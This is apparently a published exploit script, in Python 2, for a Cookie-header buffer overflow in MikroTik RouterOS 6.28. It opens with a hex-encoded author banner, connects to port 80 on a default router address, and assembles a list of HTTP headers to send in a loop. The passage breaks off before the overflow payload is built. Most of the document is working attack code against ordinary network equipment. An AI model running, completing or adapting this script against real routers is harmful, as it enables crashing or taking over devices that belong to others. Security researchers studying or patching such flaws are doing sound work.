Mikrotik RouterOS 6.28 Cookie Buffer Overflow
Posted on 20 June 2017
# mikrotik RouterOS v6.28 Cookie HTTP request header Buffer Overflow # sultan albalawi import socket import sys from time import sleep def myB(): print "x27x27x27x0dx0ax20x20x20x20x20" "x20x20x5cx20x20x20x2dx20x20x2dx20" "x20x2dx20x3cx73x65x72x76x65x72x3e" "x20x20x2dx20x5cx2dx2dx2dx3cx20x2d" "x20x2dx20x20x2dx20x2dx20x20x2dx20" "x20x2ax0dx0ax20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x2ax2a" "x2ax0dx0ax20x20x20x20x20x20x20x7c" "x20x20x20x20x44x6fx63x5fx41x74x74" "x61x63x6bx20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x2ax2ax2ax2a" "x2ax0dx0ax20x20x20x20x20x20x20x7c" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x2ax2ax2ax2ax2a" "x2ax2ax0dx0ax20x20x20x20x20x20x20" "x76x20x20x20x20x20x20x20x20x60x20" "x60x2ex20x20x20x20x2cx3bx27x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax2ax2ax2ax41x70" "x50x2ax2ax2ax2ax0dx0ax20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x60x2ex20x20x2cx27x2fx20x2ex27" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x2ax2ax2ax2a" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0a" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x60x2ex20x58x20" "x2fx2ex27x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax20x20x20x20x20" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2a" "x2ax2ax0dx0ax20x20x20x20x20x20x20" "x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5f" "x60x20x60x20x28x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x2ax2ax2a" "x20x20x20x20x20x20x20x20x20x20x7c" "x0dx0ax20x20x20x20x20x2ex27x20x20" "x20x20x20x20x20x20x20x20x20x2fx20" "x20x20x20x27x20x20x20x20x20x20x20" "x20x20x20x20x20x2ax2ax2ax2ax2ax20" "x20x20x20x20x20x20x20x20x7cx20x64" "x61x74x61x62x61x73x65x0dx0ax20x20" "x20x20x20x3bx53x65x63x75x72x69x74" "x79x60x20x20x27x20x30x20x20x30x20" "x27x20x20x20x20x20x20x20x20x20x2a" "x2ax2ax4ex45x54x2ax2ax2ax20x20x20" "x20x20x20x20x7cx0dx0ax20x20x20x20" "x2cx20x20x20x20x20x20x20x2cx20x20" "x20x20x27x20x20x7cx20x20x27x20x20" "x20x20x20x20x20x20x20x20x2ax2ax2a" "x2ax2ax2ax2ax2ax2ax20x20x20x20x20" "x20x20x5ex0dx0ax20x2cx2ex20x7cx20" "x20x20x20x20x20x20x27x20x20x20x20" "x20x60x2ex5fx2ex27x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x7c" "x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2d" "x5ex20x20x20x20x20x20x20x20x20x20" "x2fx0dx0ax20x3ax20x20x2ex20x60x20" "x20x3bx20x20x20x60x20x20x60x20x2d" "x2dx2cx2ex2ex5fx3bx2dx2dx2dx3ex20" "x20x20x20x20x20x20x20x20x7cx20x20" "x20x20x20x20x20x27x2ex27x2ex27x5f" "x5fx5fx5fx5fx5fx5fx5fx20x2ax0dx0a" "x20x20x27x20x60x20x20x20x20x2cx20" "x20x20x29x20x20x20x2ex27x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x5ex20x20x20x20x20" "x20x20x20x7cx5fx7cx20x46x69x72x65" "x77x61x6cx6cx20x29x0dx0ax20x20x20" "x20x20x60x2ex5fx20x2cx20x20x27x20" "x20x20x2fx5fx20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x7cx20x20x20x20x20x20x20x20" "x20x20x20x20x7cx7cx20x20x20x20x7c" "x7cx0dx0ax20x20x20x20x20x20x20x20" "x3bx20x2cx27x27x2dx2cx3bx27x20x60" "x60x2dx5fx5fx5fx5fx5fx5fx5fx5fx5f" "x5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0a" "x20x20x20x20x20x20x20x20x20x60x60" "x2dx2ex2ex5fx5fx60x60x2dx2dx60x20" "x20x20x20x20x20x20x69x70x73x20x20" "x20x20x20x20x20x2dx20x20x20x20x20" "x20x20x20x20x20x20x5ex20x20x20x20" "x20x20x20x20x20x20x20x20x2fx0dx0a" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x2dx20x20x20x20" "x20x20x20x20x27x2ex20x5fx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2ax0dx0ax20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x2dx5fx5fx5fx5fx5f" "x5fx5fx20x7cx5fx20x20x49x50x53x20" "x20x20x20x20x29x0dx0ax20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x7cx7cx20x20x20x20" "x20x7cx7cx0dx0ax20x20x20x20x20x20" "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" "x0ax20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x53x75x6cx74x61x6ex20" "x41x6cx62x61x6cx61x77x69x0dx0ax20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x68x74x74x70x73" "x3ax2fx2fx77x77x77x2ex66x61x63x65" "x62x6fx6fx6bx2ex63x6fx6dx2fx70x65" "x6ex74x65x73x74x33x0dx0ax20x20x20" "x20x20x20x20x20x20x20x20x20x20x20" "x20x20x20x20x20x20x20x20x20x20x61" "x6cx62x61x6cx61x77x69x34x70x65x6e" "x74x65x73x74x40x67x6dx61x69x6cx2e" "x63x6fx6dx0dx0ax20x20x20x20x20x20" "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" " x68x74x74x70x73x3ax2fx2fx70x61" "x63x6bx65x74x73x74x6fx72x6dx73x65x63" "x75x72x69x74x79x2ex63x6fx6dx2fx66x69" "x6cx65x73x2fx61x75x74x68x6fx72x2fx31x32x35x38x36x2f " "x20x20x20x2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d" "x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx0d" myB() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error: print 'Failed to create socket' sys.exit() host = '192.168.88.1' port = 80 s.connect((host, port)) print 'Socket Connected to ' +host header = ['GET /', 'CONNECT /', 'DELETE /', 'TRACE /', 'HEAD /', 'OPTIONS /', 'PATCH /', 'POST /', 'PUT /', 'Forwarded:', 'Content-Language: ', 'Location:', 'Proxy-Authenticate:', 'Proxy-Authorization:', 'Range:', 'WWW-Authenticate:', 'X-Forwarded-For:', 'X-Forwarded-Host:', 'X-Forwarded-Proto:', 'Accept:', 'Accept-Charset:', 'Accept-Encoding:', 'X-Forwarded-Proto:', 'Front-End-Https:', 'X-Forwarded-Protocol:', 'X-Forwarded-Ssl:', 'X-Url-Scheme:', 'Accept-Language:', 'Accept-Ranges:', 'Access-Control-Allow-Credentials:', 'Access-Control-Allow-Headers:', 'Access-Control-Allow-Methods:', 'Access-Control-Allow-Origin:', 'Access-Control-Expose-Headers:', 'Access-Control-Max-Age:', 'Access-Control-Request-Headers:', 'Access-Control-Request-Method:', 'Age:', 'Cache-Control:', 'Connection:', 'Content-Disposition:', 'Content-Encoding:', 'Content-Length:', 'Content-Location:', 'Content-Security-Policy:', 'Content-Security-Policy-Report-Only:', 'Content-Type:', 'Cookie:', 'Cookie2:', 'DNT:', 'Date:', 'ETag:', 'Expires:', 'From:', 'Host:', 'If-Match:', 'If-Modified-Since:', 'If-None-Match:', 'If-Range:', 'If-Unmodified-Since:', 'Keep-Alive:', 'Last-Modified:', 'Location:', 'Origin:', 'Pragma:', 'Public-Key-Pins:', 'Public-Key-Pins-Report-Only:', 'Referer:', 'Referrer-Policy:', 'Retry-After:', 'Server:', 'Set-Cookie:', 'Set-Cookie2:', 'Strict-Transport-Security:', 'TE:', 'Tk:', 'Trailer:', 'Transfer-Encoding:', 'Upgrade-Insecure-Requests:', 'User-Agent:', 'Vary:', 'Via:', 'Warning:', 'X-Content-Type-Options:', 'X-DNS-Prefetch-Control:', 'X-Frame-Options:', 'X-XSS-Protection:'] print "http_heders : ",len(header) m=len(header) print header[47] +"this vulnerability " for i in range(m): A="